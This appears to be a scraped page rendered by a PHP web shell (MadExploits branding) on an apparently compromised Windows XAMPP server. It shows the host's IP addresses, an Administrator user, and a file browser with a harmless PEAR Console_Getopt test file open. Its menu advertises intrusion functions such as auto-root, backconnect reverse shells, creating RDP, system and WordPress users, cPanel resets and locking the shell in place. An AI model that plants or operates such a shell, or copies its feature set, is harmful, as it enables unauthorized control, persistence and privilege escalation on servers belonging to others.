Windows NT IZOXMIX7871CBCZ 6.3 build 9600 (Windows Server 2012 R2 Datacenter Edition) AMD64
Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
: 172.23.17.241 | : 18.223.171.83
Cant Read [ /etc/named.conf ]
8.2.12
Administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
C: /
xampp /
php /
tests /
Console_Getopt /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
001-getopt.phpt
1.2
KB
-rw-rw-rw-
bug10557.phpt
494
B
-rw-rw-rw-
bug11068.phpt
793
B
-rw-rw-rw-
bug13140.phpt
1.32
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : 001-getopt.phpt
--TEST-- Console_Getopt --FILE-- <?php require_once 'Console/Getopt.php'; PEAR::setErrorHandling(PEAR_ERROR_PRINT, "%s\n\n"); function test($argstr, $optstr) { $argv = preg_split('/[[:space:]]+/', $argstr); if (PEAR::isError($options = Console_Getopt::getopt($argv, $optstr))) { return; } $opts = $options[0]; $non_opts = $options[1]; $i = 0; print "options: "; foreach ($opts as $o => $d) { if ($i++ > 0) { print ", "; } print $d[0] . '=' . $d[1]; } print "\n"; print "params: " . implode(", ", $non_opts) . "\n"; print "\n"; } test("-abc", "abc"); test("-abc foo", "abc"); test("-abc foo", "abc:"); test("-abc foo bar gazonk", "abc"); test("-abc foo bar gazonk", "abc:"); test("-a -b -c", "abc"); test("-a -b -c", "abc:"); test("-abc", "ab:c"); test("-abc foo -bar gazonk", "abc"); ?> --EXPECT-- options: a=, b=, c= params: options: a=, b=, c= params: foo options: a=, b=, c=foo params: options: a=, b=, c= params: foo, bar, gazonk options: a=, b=, c=foo params: bar, gazonk options: a=, b=, c= params: Console_Getopt: option requires an argument --c options: a=, b=c params: options: a=, b=, c= params: foo, -bar, gazonk
Close